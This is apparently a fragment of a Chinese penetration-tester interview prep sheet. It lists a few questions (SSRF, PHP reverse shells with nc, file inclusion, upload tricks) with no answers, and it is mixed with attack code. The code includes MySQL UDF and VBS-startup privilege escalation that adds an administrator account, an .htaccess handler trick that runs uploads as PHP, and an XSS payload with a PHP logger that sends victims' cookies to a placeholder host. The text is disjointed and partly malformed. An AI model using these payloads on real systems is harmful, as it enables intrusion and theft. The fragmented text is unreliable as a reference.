渗透测试工程师面试题总结(一)

select table_name from information_schema.tables
select table_name from information_schema.tables where table_name
not in (爆出来的表 1，爆出来的表 2...)

create function cmdshell returns string soname ’udf.dll’
select cmdshell(’net user iis_user 123!@#abcABC /add’);
select cmdshell(’net localgroup administrators iis_user /add’);
select cmdshell(’regedit /s d:web3389.reg’);
drop function cmdshell;
select cmdshell(’netstat -an’);

（2）VBS 启动项提权

create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user
123!@#abcABC/add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup
administrators iis_user /add"",0) " );
select * from a into outfile "C:\Documents and Settings\All Users\「开始」
菜单\程序\启动\a.vbs";

67.什么叫 ssrf 以及 ssrf 的防御？

68.如何利用 php 的远程命令执行函数进行反弹 nc?

69.文件包含漏洞可以用来做啥，以及需要主要注意的事项？

70.文件上传有哪些技巧？

<FilesMatch “haha”>
SetHandler application/x-httpd-php
</FileMatch>

71.HTTP 协议 head 方法的功能与 get 方法不同之处是？

<?php
$cookie=$_GET['cookie'];
$time=date('Y-m-d g:i:s');
$referer=getenv('HTTP_REFERER');
$cookietxt=fopen('cookie.txt','a');
fwrite($cookietxt,"time:".$time." cookie:".$cookie." referer:".$referer."");
注意双引号，容易出错
fclose($cookietxt);
?>

<script>
document.write('<img
src="http://ip/cookie.php?cookie='+document.cookie+'" width=0
height=0 border=0 />');
</script>